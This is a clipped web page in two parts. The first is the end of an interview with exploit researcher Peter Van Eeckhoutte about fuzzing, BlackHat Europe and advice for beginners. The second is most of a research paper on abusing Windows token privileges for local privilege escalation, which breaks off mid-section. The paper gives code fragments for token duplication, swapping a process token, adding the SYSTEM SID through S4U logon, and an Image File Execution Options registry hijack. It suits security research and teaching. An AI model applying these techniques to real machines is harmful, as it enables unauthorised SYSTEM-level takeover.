applications are still discovered using just a few lines of code\). Others say
that you really need to document the file format or network protocol and play
with the fields/bits/values and see how the application responds to that
\(smart fuzzing\). This approach works as well. Of course, you'll have to
figure out how formats/protocols work, and you may have to build your own
fuzzer, or use an often complex framework to get the fuzzing done. This
approach will often provide better results than dumb fuzzing. Many application
will already handle random data input well, but that does not mean that they
will deal with specially crafted input in certain fields. You'll most likely
have more success with this approach than with dumb fuzzing.

  

Newer techniques include a combination of static analysis, pinpointing the
interesting functions, and perform in-memory-fuzzing using data tainting.
Sounds complex, and it is complex, because there are many obstacles in the
way. Anyways, I'll let the fuzzing experts figure out how to deal with this,
because it's not clear if this theory will provide actual results.

It is clear that all of those techniques require specific knowledge and lots
of time and dedication. Hey, »hacking« sounds like fun, but it is a tough and
time-consuming job kids \!

  

CT is using a combination of dumb and smart fuzzing, and some source code
auditing. We don't really have enough RE expertise at this point in time, so
those 3 techniques are the only/easiest ways to hunt for bugs. Many tools are
available to do this, and it's relatively easy to build your own tools if
necessary.

  

**Slo-Tech:** You attended the BlackHatEU conference in Barcelona in April.
Can you describe to our readers how this conference looks like? Any new
exploit techniques disclosed?

  

**Peter Van Eeckhoutte:** The BlackHat conferences really offer a good
combination of high-level and detailed/technical briefings. This year's
conference had 3 tracks \(as opposed to 2 in previous

editions\), which made the choice harder, but it allowed presenters to go
quite deep at the same time. What I like about the conference is the
atmosphere and environment. Apart from the fact that you get to meet some
people you have been communicating with over the year, I was pleasantly
surprised \(again\) that ego's \(if any\) were left at home, and everybody was
kind, friendly, open for a chat.. That was pretty cool.

  

In terms of \(new\) exploitation techniques, there were some really
interesting talks:

  * Clickjacking
  * Oracle padding attacks
  * Universal XSS
  * Oracle MITM

I also really liked the talk about Adobe Heap Management, but to me - the one
that stood out above the others - was the one that FX did \(about the defense
part of Adobe Flash file format vulnerabilities\). We should see more people
spending time offering good / structural solutions for certain
vulnerabilities.

  

  

<img src='img/Temp2_4501.jpg' width='200' alt=' BlackHatEU 2010, Barcelona
Credit: ap0x' />

BlackHatEU 2010, Barcelona Credit: ap0x

As explained earlier, there still is a huge amount of work to do in order to
get bugs fixed. So instead of just hammering on the vendors, we should
continue to hammer, but start thinking about generic protection mechanisms at
the same time. I know it's the world upside down, but it might be the only
solution in the short run.

  

**Slo-Tech:** It would be really sad if such good tutorials like yours were
lost. Do you have any plans to release them in paper format? Can we expect any
new tutorials soon?

  

**Peter Van Eeckhoutte:** One of the plans I have for 2010-2011 is reviewing
the tutorials, adding some newer techniques, and see if I can publish them in
paper-format. But before I can do that, I need to complete my work on Win32
exploitation, which includes heap overflows and ROP \(Return-oriented
Programming\). Lots of work to do - and yet so little time :-\) Stay tuned \!

  

**Slo-Tech:** What would you suggest to kids that are starting with security
researching?

  

**Peter Van Eeckhoutte:**

  * Start by learning how things work before starting to learn how to break things.
  * Be prepared to invest a LOT of time, concentrate and don't give up.
  * Start from scratch, from the basics, don't try to dive if you don't know how to swim first.
  * Ask the right questions at the right time.

I know we have been seeing some really cool techniques lately \(ROP, heap
spraying, etc\), but if you don't know anything about exploitation, don't try
to do this yourself. Just accept that you need to learn the basics first and
you'll get there eventually. In other words, if you don't know how the basics
of buffer overflows work, don't try to do heap spraying.

  

**Slo-Tech:** The usual question for the end: does CT have any 0-days in their
repository? Can you share some details? :-\)

  

**Peter Van Eeckhoutte:** Yeah, we still have some 0 days, but If I tell you
now, it wouldn't be a 0-day anymore :-\)

  

  

**Thanks to Peter Van Eeckhoutte for the interview.**

# hatRiot/token-priv

**Created:**| _9/4/2017 9:21:59 AM_  
---|---  
**Updated:**| _9/4/2017 9:21:59 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

1 | |=-----------------------------------------------------------------------=|  
---|---  
2 | |=----------------=\[ Abusing Token Privileges For LPE\]=------------------=|  
3 | |=-----------------------------------------------------------------------=|  
4 | |=----------------------=\[ drone <@dronesec> \]=--------------------------=|  
5 | |=----------------=\[ breenmachine <@breenmachine>\]=----------------------=|  
6 | |=-----------------------------------------------------------------------=|  
7 |   
8 | \--\[ Table of contents  
9 |   
10 | 0 - Introduction   
11 | 1 - Token Overview   
12 |  1.1 - Windows Privilege Model   
13 |  1.2 - Token Structure and Privileges   
14 |  1.3 - Token Impersonation   
15 | 2 - Modern Mitigations and Techniques   
16 |  2.1 - Modern Windows Kernel Mitigations  
17 |  2.2 - Relevant Exploitation Strategies   
18 | 3 - Abusing Token Privileges  
19 |  3.1 - Exploitable Privileges   
20 |  3.2 - Exploiting Partial Writes  
21 |  3.3 - Abusing Existing Service Accounts   
22 | 4 - Case Studies   
23 |  4.1 - MS16-135   
24 |  4.2 - MS15-061  
25 |  4.3 - HEVD   
26 | 5 - Conclusions   
27 | 6 - Greets   
28 | 7 - References  
29 |   
30 |   
31 | \--\[ 0 - Introduction  
32 |   
33 | Windows kernel exploitation has grown increasingly complex over the last  
34 | several years, particularly with the release of Windows 10 and its  
35 | successive core updates. Techniques have been born and died over the  
36 | course of months, new ones quickly replacing them. Techniques themselves  
37 | have grown hyper specific or brittle, fitting only a particular pattern or  
38 | space.   
39 |   
40 | Exploitation has often relied on obtaining some form of arbitrary code  
41 | execution. Obtaining a read/write primitive, stacking strategies to evade  
42 | mitigations, and eventually obtaining the execution of a privileged action.  
43 | Recently we've seen a trend towards logic basic actions, such as token  
44 | stealing, enabling god mode bits, or NULLing out token security descriptors  
45 | \[0\]. These actions delegate the theft of privileges to userland, freeing   
46 | the exploit dev from the confines of kernel hell.  
47 |   
48 | The token stealing shellcode popularized by many exploit developers and  
49 | malware authors over the years is not one of chance. It's been an  
50 | extremely reliable technique offering stable, simple shellcode and, until  
51 | recently, acceptable behavior. Microsoft has implemented detection  
52 | heuristics within its Advanced Threat Protection platform \[2\], but as of  
53 | yet not implemented anything within the Windows kernel itself. For malware  
54 | writers and skiddies, this might be tolerable, but for advanced adversaries  
55 | or red teamers, it is not.   
56 |   
57 | This paper aims to discuss one such logic-based technique that we've  
58 | refined over the last several months and exploits. Although the techniques  
59 | themselves are not new \[2\], we hope to present new approaches and ideas  
60 | that may aid in the further refinement of this technique and others.  
61 |   
62 | In addition to kernel exploitation, token privileges can be abused in other  
63 | less exotic ways. In situations where a service account is compromised,  
64 | which has non-standard privileges enabled, they can often be leveraged to  
65 | gain elevation of privilege \(EoP\). The methods for doing this are specific   
66 | to each privilege, often undocumented, and in many cases non-trivial. In   
67 | section 3.3 of this paper we demonstrate how many of these privileges can be  
68 | abused for EoP in common penetration testing and red teaming scenarios.  
69 |   
70 | We aim to consolidate disparate sources and provide reference for future  
71 | work. We acknowledge the time and efforts of other researches within the  
72 | same space, and hope to give something meaningful back to the community at  
73 | large.  
74 |   
75 | \--\[ 1 - Token Overview  
76 |   
77 | The basis of our strategy again stems from the very core of the object  
78 | access model within Windows. Windows uses token objects to describe the  
79 | security context of a particular thread or process. These token objects,  
80 | represented by the nt\!\_TOKEN structure, contain a vast swath of security  
81 | and referential information, including integrity level, privileges, groups,  
82 | and more. Our focus lies on the privileges contained within these tokens.  
83 |   
84 | \----\[ 1.1 - Windows Privilege Model  
85 |   
86 | We'll briefly describe the Windows privilege model as it relates to process  
87 | and thread tokens. If you'd like an in-depth explanation, the authors  
88 | recommend Windows Internals Part 1 or spending some time in windbg.  
89 |   
90 | Each process on the system holds a token object reference within its  
91 | EPROCESS structure which is used during object access negotiations or  
92 | privileged system tasks. This token is granted via LSASS during the logon  
93 | process, and thus all processes within a session run under the same token,  
94 | initially.  
95 |   
96 | A process holds a primary token and threads executing within the process  
97 | inherit this same token. When a thread needs to access an object using a  
98 | different set of credentials, it can use an impersonation token. Using an  
99 | impersonation token does not impact the primary token or other threads, but  
100 | only execution in the context of the impersonating thread. These  
101 | impersonation tokens can be obtained via a number of different APIs  
102 | provided by the kernel.  
103 |   
104 | The token serves as a processes access ticket, which must be presented to  
105 | the various gatekeepers within Windows; it's evaluated via SeAccessCheck on  
106 | object access and by SeSinglePrivilegeCheck during privileged operations.  
107 | When a process requests write access to a file, for example, SeAccessCheck  
108 | will evaluate the tokens integrity level followed by an evaluation of its  
109 | Discretionary Access Control List \(DACL\). When a process attempts to  
110 | shutdown a system via NtShutdownSystem, the kernel will evaluate whether or  
111 | not the requesting process token has SeShutdownPrivilege enabled.   
112 |   
113 | \----\[ 1.2 - Token Structure and Privileges  
114 |   
115 | As mentioned, the \_TOKEN structure primarily contains security context  
116 | information about a process or thread. The relevant entry for our purposes  
117 | is \_SEP\_TOKEN\_PRIVILEGES, located at offset 0x40, containing token  
118 | privilege information:  
119 |   
120 |  kd> dt nt\!\_SEP\_TOKEN\_PRIVILEGES c5d39c30+40   
121 |  +0x000 Present : 0x00000006\`02880000   
122 |  +0x008 Enabled : 0x800000  
123 |  +0x010 EnabledByDefault : 0x800000  
124 |   
125 | The Present entry represents an unsigned long long containing the present  
126 | privileges on the token. This does not mean that they are enabled or  
127 | disabled, but only that they exist on the token. Once a token is created,  
128 | you cannot add privileges to it; you may only enable or disable existing  
129 | ones found in this field. The second field, Enabled, represents an  
130 | unsigned long long containing all enabled privileges on the token.  
131 | Privileges must be enabled in this bitmask to pass the  
132 | SeSinglePrivilegeCheck. The final field, EnabledByDefault, represents the  
133 | initial state of the token at the moment of conception.  
134 |   
135 | Privileges can be enabled or disabled by twiddling specific bits within  
136 | these fields. For example, to enable SeCreateTokenPrivilege, one would  
137 | simply need to execute: \_SEP\_TOKEN\_PRIVILEGES+0x44 |= 1 << 0x000000002.  
138 | Disabling the privilege would be the inverse: \_SEP\_TOKEN\_PRIVILEGES+0x44 &=  
139 | ~\(1 << 0x000000002\). A Pykd helper script can be found here \[3\].  
140 |   
141 | Up until recently, one must only set bits within the Enabled field to  
142 | actually toggle privileges within a token. This means that a single write,  
143 | partial or otherwise, is enough to enable privileges. With the release of  
144 | Windows 10 v1607, however, the kernel now verifies that the enabled bits  
145 | are also flipped in the Present field \[4\].   
146 |   
147 | Although on the surface the tokens security model of defining specific  
148 | privileges for various tasks appears to allow for the implementation of  
149 | service specific, fine-grained access controls, a closer look reveals a  
150 | more complex situation. Many of the privileges, when enabled, allow the  
151 | user to perform privileged actions that can result in elevation of  
152 | privilege. This effectively destroys the "fine-grain" access control  
153 | structure and can provide a false sense of security.  
154 |   
155 | \----\[ 1.3 - Token Impersonation  
156 |   
157 | Before diving into specific privileges, it will be beneficial to describe  
158 | the Windows mechanism for determining whether a specific thread can make  
159 | use of a given token. Any user may be able to obtain a handle to a  
160 | privileged token, but being able to actually use it is another matter.  
161 |   
162 | In Windows, “Token Impersonation” is when a new token is assigned to a  
163 | thread that is different from the parent process's token. Although the word  
164 | impersonation implies that one user is using a token belonging to a  
165 | different user, this is not always the case. A user may impersonate a token  
166 | that belongs to them but simply has a different set of privileges or some  
167 | other modifications.  
168 |   
169 | One of the fields specified in every token is the tokens impersonation  
170 | level. This field controls whether that token can be used for impersonation  
171 | purposes and to what degree. The four impersonation levels are as follows:  
172 |   
173 |  SecurityAnonymous - The server cannot impersonate or identify the client.  
174 |  SecurityIdentification - The server can get the identity and privileges of  
175 |  the client, but cannot impersonate the client.   
176 |  SecurityImpersonation - The server can impersonate the client's security   
177 |  context on the local system.  
178 |  SecurityDelegation - The server can impersonate the client's security  
179 |  context on remote systems.  
180 |   
181 | SecurityImpersonation and SecurityDelegation are the most interesting cases  
182 | for us. Identification tokens and lower can not be used to run code.  
183 |   
184 | Whether or not a given user is allowed to impersonate a specific token can  
185 | be determined as follows:  
186 |   
187 |  IF the token level < Impersonate THEN allow \(such tokens are called  
188 |  “Identification” level and can not be used for privileged actions\).   
189 |  IF the process has “Impersonate” privilege THEN allow.   
190 |  IF the process integrity level <= the token integrity level AND   
191 |  the process user == token user THEN allow ELSE restrict the   
192 |  token to “Identification” level \(no privileged actions possible\).  
193 |   
194 | \--\[ 2 - Modern Mitigations and Techniques  
195 |   
196 | Windows 10 significantly improves upon the security of the Windows kernel,  
197 | both in overall reducing the attack surface and improving existing  
198 | defenses. Microsoft continues to iterate on defensive mechanisms: KASLR  
199 | continues to receive much needed improvements \(still many leaks\), hardening  
200 | of often exploited structures for read/write primitives \(tagWND\), and  
201 | mitigating the revered NULL SecurityDescriptor technique \[5\]. As attackers  
202 | have demonstrated over the years, squashing individual strategies only  
203 | gives birth to newer ones, and the cycle continues.  
204 |   
205 | In order to provide some context on the topics discussed, a brief  
206 | description of modern kernel mitigations and exploitation techniques  
207 | follows. These sections are by no means authoritative or comprehensive,  
208 | and are meant only to reinforce the overall complexity and upfront  
209 | investment cost of modern kernel exploitation. Go ask Ionescu if you have  
210 | questions.   
211 |   
212 | \----\[ 2.1 - Modern Windows Kernel Mitigations  
213 |   
214 | Windows 10 and successive updates \(Anniversary/Creators\) have included a  
215 | number of exploit mitigation improvements, detailed by Skape et al. at  
216 | Blackhat 2016 \[8\]. We recommend reviewing the referenced slides for  
217 | further details and statistics on general Windows mitigation strategies.  
218 | We will focus on mitigations relevant to the topic at hand.  
219 |   
220 | Kernel ASLR has seen improvement by enabling ASLR on various regions and  
221 | structures within the kernel. Though this is a strong mitigation strategy  
222 | for remote kernel exploits, there exists several public and private  
223 | strategies for leaking object addresses in the kernel \[9\], and thus does  
224 | not pose much of a threat for the technique detailed here. Core data  
225 | structures and memory regions once used for KASLR bypasses, such as the  
226 | HAL dispatch table, are now fully randomized.  
227 |   
228 | The AppContainer, first introduced in Windows 8, provides sandboxing  
229 | capabilities for userland applications. This control has been expanded upon in  
230 | Windows 10 to include win32k system call filtering which restricts the  
231 | process from abusing various win32k syscalls. This is currently only   
232 | \(officially\) enabled for the Edge browser, and thus is not very interesting.  
233 |   
234 | A common kernel read/write primitive is the tagWND structure, which when  
235 | corrupted allows for arbitrary read/writes via  
236 | InternalGetWindowText/NtUserDefSetText. Exploits for MS15-061 and more   
237 | recently MS16-135 were found to be taking advantage of this technique. The   
238 | Anniversary Update now provides additional bounds checks on this specific   
239 | object, rendering it useless. Though this form of technique squashing is   
240 | rudimentary, a mere annoyance in having to find other rw primitives, it   
241 | can be effective for breaking already deployed/developed chains.  
242 |   
243 | The introduction of SMEP in Windows 8 means we can no longer ask the kernel  
244 | to execute userland shellcode for us. Many bypasses have been used over  
245 | the years, some still effective, most not. Evasion generally involves  
246 | disabling some principle of mitigation or getting code into the kernel \(via  
247 | RWX regions or KROP\). Because we're not looking to execute any shellcode  
248 | within the kernel or even in userland, this mitigation does not apply.  
249 |   
250 | Another interesting mitigation is the mythical Patchguard, formerly known  
251 | as Kernel Patch Protection, introduced many moons ago to the x64 NT kernel.  
252 | If you're unfamiliar with this mitigation, know that it is the kernel  
253 | boogeyman. It monitors a random subset of checks, at random times, for  
254 | random reasons. Its initialization and runtime behavior are obfuscated.  
255 | Its source code and behavior are obfuscated from even internal Windows  
256 | developers. Skywing and Skape have previously done quite a bit of work  
257 | reversing and documenting portions of it, and should be referenced for  
258 | further tales of intrigue \[18\].   
259 |   
260 | As of Windows 10, there are 44 different checks in Patchguard \(visible via  
261 | \!analyze -show 109\), and while the authors are suspicious of the lists  
262 | completeness, there is no protection of process tokens.   
263 |   
264 | \----\[ 2.2 - Relevant Exploitation Strategies  
265 |   
266 | Previous, related work that provided influence and indirect guidance for this  
267 | article's strategy is presented here. These related techniques are briefly  
268 | detailed to provide background and to pay homage to those who came before  
269 | us.  
270 |   
271 | Cesar Cerrudos Easy Local Windows Kernel Exploitation paper released at  
272 | Blackhat 2012 \[1\] introduced three different privilege escalation  
273 | strategies, and pointed many exploit devs towards the power of abusing  
274 | process tokens. The first technique demonstrated in the paper details the  
275 | NULL ACL strategy, now partially mitigated, in which an arbitrary  
276 | write could be leveraged to NULL a privileged object's ACL. This was and is a  
277 | very common strategy for effectively migrating into more privileged  
278 | processes.  
279 |   
280 | The second Cerrudos strategy is a carpet bombing version of ours, in which an  
281 | arbitrary write could enable all privileges in a process token. With these  
282 | privileges enabled, one could exploit SeDebugPrivilege and migrate into a  
283 | more privileged process, create tokens with SeCreateTokenPrivilege, or load  
284 | kernel drivers with SeLoadDriverPrivilege.  
285 |   
286 | The third and final Cerrudos strategy is another technique very popular in   
287 | modern EoP exploits, and involves replacing a process token with a SYSTEM   
288 | token. This has been widely detailed from various perspectives elsewhere,   
289 | and will not be repeated here.  
290 |   
291 | Yin Liang and Zhou Li of Tencent conducted and released similar research at  
292 | Blackhat Europe 2016, in which they demonstrated abusing partial writes  
293 | with window objects in order to obtain rw primitives \[11\]. Much like our  
294 | work, they focused on partially controlled, limited write bugs such as  
295 | MS16-135 and CVE-2016-0174 in which the target of an OR or DEC may be  
296 | controlled. In these cases, particularly those involving win32k, our  
297 | strategy obviates the need to obtain a primitive.  
298 |   
299 | Moritz Jodeit published a great article on CVE-2014-4113, in which he  
300 | targeted the \_SEP\_TOKEN\_PRIVILEGES structure with an uncontrolled write in  
301 | order to enable additional token privileges \[12\]. His technique is of  
302 | interest because it demonstrated, at the time, modern mitigation evasion  
303 | without any pointer overwrites or the execution of shellcode, with the  
304 | added benefit of a vastly simplified exploitation process.   
305 |   
306 | \--\[ 3 - Abusing Token Privileges  
307 |   
308 | \----\[ 3.1 - Exploitable Privileges  
309 |   
310 | For the purpose of this paper, we will define an “exploitable” privilege as  
311 | any token privilege that can be used alone to gain “NT AUTHORITY\SYSTEM”  
312 | level access to the target system. The term “exploit” is used loosely here,  
313 | in most cases these exploits are intended, albeit undocumented, behavior.  
314 |   
315 | As was mentioned in section 1.2, the nt\!\_SEP\_TOKEN\_PRIVILEGES structure is  
316 | a binary field in the token where each bit determines whether a given  
317 | privilege is present or enabled in the token. The exact structure of this  
318 | bitmask, which bits correspond to which privileges, can be found in the  
319 | code released with this project, specifically the pykd script -  
320 | “tokenum.py”.  
321 |   
322 | The remainder of this section deals with the details of each privilege we  
323 | were able to successfully abuse to gain elevated privileges. Code samples  
324 | to take advantage of each of these privileges are included with this  
325 | project.  
326 |   
327 | \------ \[ 3.1.1 - SeImpersonatePrivilege  
328 |   
329 | The SeImpersonatePrivilege is described on MSDN as “User Right: Impersonate  
330 | a client after authentication.” This is the privilege referred to in  
331 | section 1.4, in the second step, when checking whether a specific process can  
332 | impersonate a given token. Any process holding this privilege can  
333 | impersonate any token for which it is able to get a handle. It should be  
334 | noted that this privilege does not allow for the creation of new tokens.  
335 |   
336 | This particular privilege is quite interesting because it is required by a  
337 | number of common Windows service accounts, such as LocalService and those  
338 | for MSSQL and IIS. An “exploit” for this privilege then would also yield  
339 | elevation of privilege if any such accounts were compromised. This was the  
340 | subject of previous work by the authors \[6\].  
341 |   
342 | In \[20\], a method to gain a handle to a token for the “NT AUTHORITY\SYSTEM”  
343 | account is described. Basically a Windows service \(DCOM\) is passed a  
344 | specially crafted object that contains a reference to an attacker  
345 | controlled TCP listener on the local machine. When Windows tries to resolve  
346 | this reference, the attacker requests NTLM authentication and then relays  
347 | the NTLM authentication sent to the listener to create a new token on the  
348 | local machine. This token will be for the user “NT AUTHORITY\SYSTEM” and  
349 | have full administrative privilege.  
350 |   
351 | Any user can perform the previously described procedure to gain a handle to  
352 | a token for the “NT AUTHORITY\SYSTEM” user, however in order to make use of  
353 | this handle, the ability to impersonate is required; the  
354 | SeImpersonatePrivilege allows us to do just that. All that is required to  
355 | spawn a new process with the elevated token is to call the  
356 | CreateProcessWithToken function, passing the new token as the first  
357 | argument.  
358 |   
359 | \------ \[ 3.1.2 - SeAssignPrimaryPrivilege  
360 |   
361 | The SeAssignPrimaryPrivilege is offensively very similar to the previously  
362 | discussed SeImpersonatePrivilege. It is needed to “assign the primary token  
363 | of a process”. Our strategy will be to spawn a new process using an  
364 | elevated token.  
365 |   
366 | In order to create a new process with a privileged token, we will first  
367 | need to get a handle to such a token. To do this, we follow the procedure  
368 | described in \[20\] and briefly outlined in section 3.1.1.  
369 |   
370 | As the name of this privilege implies, it allows us to assign a primary  
371 | token to a new or suspended process. Using the strategy outlined in 3.1.1  
372 | to obtain a token, we find ourselves with a privileged impersonation token,  
373 | and thus will need to first derive a primary token from it. This can be  
374 | accomplished via the DuplicateTokenEx function:  
375 |   
376 |  DuplicateTokenEx\(hClientToken, TOKEN\_ALL\_ACCESS,   
377 |  NULL, SecurityAnonymous,  
378 |  TokenPrimary, &hDupedToken\);  
379 |   
380 | With a privileged primary token in hand, we now have a few options.  
381 | Unfortunately, we cannot simply swap the token of our currently running  
382 | process for the elevated one, as changing primary tokens on running  
383 | processes is not supported behavior. This is controlled by the  
384 | PrimaryTokenFrozen field in the EPROCESS structure.  
385 |   
386 | The simplest option is to make a call to “CreateProcessAsUser” using the  
387 | new token as an argument to create a new, highly privileged process.  
388 |   
389 | Alternatively, we can spawn a new process in the suspended state and   
390 | perform the same operation as above. When a new processes is created   
391 | with a call to CreateProcess\(..., CREATE\_SUSPENDED, ...\), the value for  
392 | PrimaryTokenFrozen is not yet set, allowing the token to be swapped.  
393 |   
394 | A corollary to the previous point is that in some partial write  
395 | exploitation scenarios, we can actually swap the token of the currently  
396 | running process for an elevated one. If we can cause the PrimaryTokenFrozen  
397 | field to be unset through our partial write, assuming we possess, or can  
398 | gain SeAssignPrimaryTokenPrivilege, we can then call  
399 | NtSetInformationProcess to swap the old token for the new one. Since  
400 | PrimaryTokenFrozen is a single bit field, the surrounding fields are  
401 | relevant because they will likely be trashed by any sort of partial write:  
402 |   
403 |  +0x0c8 RefTraceEnabled : Pos 9, 1 Bit   
404 |  +0x0c8 DisableDynamicCode : Pos 10, 1 Bit  
405 |  +0x0c8 EmptyJobEvaluated : Pos 11, 1 Bit  
406 |  +0x0c8 DefaultPagePriority : Pos 12, 3 Bits  
407 |  +0x0c8 PrimaryTokenFrozen : Pos 15, 1 Bit  
408 |  +0x0c8 ProcessVerifierTarget : Pos 16, 1 Bit  
409 |  +0x0c8 StackRandomizationDisabled : Pos 17, 1 Bit  
410 |   
411 | If for example you've got an arbitrary decrement, as in MS15-061, you can  
412 | unset the TokenPrimaryFrozen bit and swap your process token out:  
413 |   
414 |  NtSetInformationProcess\(hCurrentProcess,   
415 |  \(PROCESS\_INFORMATION\_CLASS\)0x09,  
416 |  &hElevatedPrimaryToken, 8\);  
417 |   
418 | \------ \[ 3.1.3 - SeTcbPrivilege  
419 |   
420 | SeTcbPrivilege is quite interesting, MSDN describes it as “This privilege  
421 | identifies its holder as part of the trusted computer base. Some trusted  
422 | protected subsystems are granted this privilege.” In addition to this, a  
423 | number of books, articles, and forum posts describe the TCB privilege as  
424 | being equivalent to fully privileged access to the machine. However,  
425 | despite all this, no publicly available resources seem to indicate HOW the  
426 | SeTcbPrivilege can be used, on its own, to perform privileged operations.  
427 |   
428 | We began by analyzing MSDN documentation, trying to find which Windows API  
429 | calls were restricted to accounts with SeTcbPrivilge. In the documentation  
430 | for the LsaLogonUser function, we find the following as the first  
431 | parameter:  
432 |   
433 | LsaHandle \[in\] A handle obtained from a previous call to  
434 | LsaRegisterLogonProcess. The caller is required to have SeTcbPrivilege  
435 | only if one or more of the following is true:  
436 |   
437 |  \+ A Subauthentication package is used.  
438 |  \+ KERB\_S4U\_LOGON is used, and the caller requests an impersonation token.  
439 |  \+ The LocalGroups parameter is not NULL.  
440 |   
441 |  If SeTcbPrivilege is not required, call LsaConnectUntrusted to obtain  
442 |  the handle.  
443 |   
444 | Normally the LsaLogonUser API call is used to authenticate a user with some  
445 | form of credentials, however we are assuming that we have no knowledge of  
446 | the target system and its users. Further, which user will we attempt to  
447 | logon? Finally, how will we impersonate the resulting token since we do not  
448 | have SeImpersonatePrivilege?   
449 |   
450 | Thankfully James Forshaw chimed in with a very useful <140 character  
451 | message:  
452 |   
453 |  “you could use LsaLogonUser to add admin group to a token of your own user,  
454 |  then impersonate.”   
455 |   
456 | There is an interesting logon type in Windows known as S4U logon \(and  
457 | referenced above as KERB\_S4U\_LOGON\). It is effectively described in an MSDN  
458 | blog post \[19\] as follows:  
459 |   
460 |  “In Windows, it is possible to logon as a different domain user without any  
461 |  credentials. This is known as a S4U or a Service For User Logon. This is  
462 |  a Microsoft Extension to Kerberos introduced with Windows Server 2003.”  
463 |   
464 | This seems to fit what we are trying to do perfectly; using the S4U logon  
465 | type, we can obtain a token for any user. Referring back to the  
466 | documentation for the LsaHandle parameter above, if we have SeTcbPrivilege,  
467 | apparently the resulting token can be an “impersonation” token, meaning we  
468 | can assign it to a thread.  
469 |   
470 | Referring again to the LsaHandle parameter, the last bullet point implies  
471 | that we can call LsaLogonUser with SeTcbPrivilege and add arbitrary groups  
472 | to the resulting token returned by this call. We will add the group SID  
473 | “S-1-5-18” to the token, this is the SID for the Local System account and  
474 | if we are using a token that possesses it, we will have full privilege on  
475 | the system. Adding the SYSTEM SID is quite straightforward:  
476 |   
477 |  WCHAR systemSID\[\] = L"S-1-5-18";   
478 |  ConvertStringSidToSid\(systemSID, &pExtraSid\);  
479 |   
480 |  pGroups->Groups\[pGroups->GroupCount\].Attributes =   
481 |  SE\_GROUP\_ENABLED | SE\_GROUP\_MANDATORY;   
482 |  pGroups->Groups\[pGroups->GroupCount\].Sid = pExtraSid;  
483 |  pGroups->GroupCount++;  
484 |   
485 | The only piece remaining in this puzzle is how we will use the resulting  
486 | impersonation token, since we are assuming that we have SeTcbPrivilege, but  
487 | no other impersonation related privileges. Referring back to section 1.4 on  
488 | the rules related to token impersonation, we can see that we should be able  
489 | to impersonate the token without any special privileges as long as the  
490 | token is for our current user and the integrity level of the token is  
491 | “Medium”. So using the token returned by LsaLogonUser, we simply set the  
492 | integrity level to “Medium” and then call SetThreadToken to replace our  
493 | current thread's token with the new one.   
494 |   
495 | \------ \[ 3.1.4 - SeBackupPrivilege  
496 |   
497 | The SeBackupPrivilege is described on MSDN as follows:  
498 |   
499 |  “Required to perform backup operations. This privilege causes the system to  
500 |  grant all read access control to any file, regardless of the access control  
501 |  list \(ACL\) specified for the file. Any access request other than read is  
502 |  still evaluated with the ACL. This privilege is required by the RegSaveKey  
503 |  and RegSaveKeyExfunctions. The following access rights are granted if this  
504 |  privilege is held: -READ\_CONTROL -ACCESS\_SYSTEM\_SECURITY -FILE\_GENERIC\_READ  
505 |  -FILE\_TRAVERSE”  
506 |   
507 | To use this privilege for EoP, we read the password hashes of local  
508 | Administrator accounts from the registry and then pass these to a local  
509 | service from which we can get code execution, the most popular technique  
510 | here would simply be passing the hash with “psexec” or “wmiexec”.   
511 |   
512 | Unfortunately for us there are two caveats in this scenario. First, many  
513 | organizations over the past several years have begun to disable local  
514 | administrator accounts. Second, even in cases where some local  
515 | administrator accounts remain enabled, Microsoft implemented a change in  
516 | Windows Vista and newer where only the RID 500 \(the default local  
517 | Administrator\) account can administer the machine remotely by default:  
518 |   
519 |  When a user who is a member of the local administrators group on the  
520 |  target remote computer establishes a remote administrative  
521 |  connection…they will not connect as a full administrator. The user has  
522 |  no elevation potential on the remote computer, and the user cannot  
523 |  perform administrative tasks.  
524 |   
525 | In our experience however, it is still fairly common in enterprise  
526 | environments to find the RID 500 local administrator account enabled.  
527 |   
528 | \------ \[ 3.1.5 - SeRestorePrivilege  
529 |   
530 | The restore privilege is described as being “required to perform restore  
531 | operations”, and causes the system to grant all write access control to any  
532 | file on the system, regardless of the files ACL. Additionally, this  
533 | privilege allows the holding process or thread to change the owner of a  
534 | file. The implications of obtaining this privilege should be obvious.  
535 |   
536 | In order to use this privilege, one must supply the  
537 | FILE\_FLAG\_BACKUP\_SEMANTICS flag to supporting APIs. This tips the kernel  
538 | off that the requesting process might have SeBackupPrivilege or  
539 | SeRestorePrivilege enabled, and to check for it before short circuiting the  
540 | DACL check. Keen observers may infer from the terse description of the  
541 | privilege on MSDN that this also allows for the creation or modification of  
542 | registry keys.  
543 |   
544 | Arbitrary writes to HKLM opens up infinite potential for privilege  
545 | escalation. We chose to use the Image File Execution Options key, used for  
546 | debugging software on a system. When a system binary is launched, if an  
547 | HKLM entry exists for it at HKLM\SOFTWARE\Microsoft\Windows  
548 | NT\CurrentVersion\Image File Execution Options and it contains a Debugger  
549 | key, it will execute the set entry. This technique is fairly common for  
550 | malware persistence and privilege escalation vulnerabilities \[7\].  
551 | Exploitation simply requires opening the registry, specifying the backup  
552 | flag, and creating the key:  
553 |   
554 |  RegCreateKeyExA\(  
555 |  HKEY\_LOCAL\_MACHINE,   
556 |  “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File   
557 |  Execution Options\wsqmcons.exe”,   
558 |  0, NULL,  
559 |  REG\_OPTION\_BACKUP\_RESTORE,   
560 |  KEY\_SET\_VALUE,   
561 |  NULL,   
562 |  &hkReg,   
563 |  NULL\);  
564 |   
565 |  RegSetValueExA\(hkReg,   
566 |  "Debugger", 0, REG\_SZ,   
567 |  \(const BYTE\*\)regentry,  
568 |  strlen\(regentry\) + 1\);  
569 |   
570 | In the above sample we used wsqmcons, a consolidator service that runs as  
571 | SYSTEM and is triggerable by a standard user on the system.   
572 |   
573 | In addition to adding registry entries, one could also drop DLLs into  
574 | system folders for DLL hijacking, overwrite critical system resources, or  
575 | modify other services.   
576 |   
577 | \------ \[ 3.1.6 - SeCreateTokenPrivilege  
578 |   
579 | The “SeCreateTokenPrivilege” allows users to create primary tokens via the  
580 | ZwCreateToken API. Unfortunately, this right alone does not allow the user  
581 | to use the token they have just created. Therefore naive attempts to create  
582 | and use tokens for high privileged users such as “NT AUTHORITY\SYSTEM” will  
583 | not succeed.  
584 |   
585 | Recall the rules for token impersonation from section 1.4. A user is  
586 | allowed to impersonate a token even without SeImpersonatePrivilege so long  
587 | as the token is for the same user and the integrity level is less than or  
588 | equal to the current process integrity level.  
589 |   
590 | In order to leverage SeCreateTokenPrivilege, we need only craft a new  
591 | impersonation token that matches the requesting token with the addition of  
592 | a privileged group SID. This is in theory pretty simple to do, but the API  
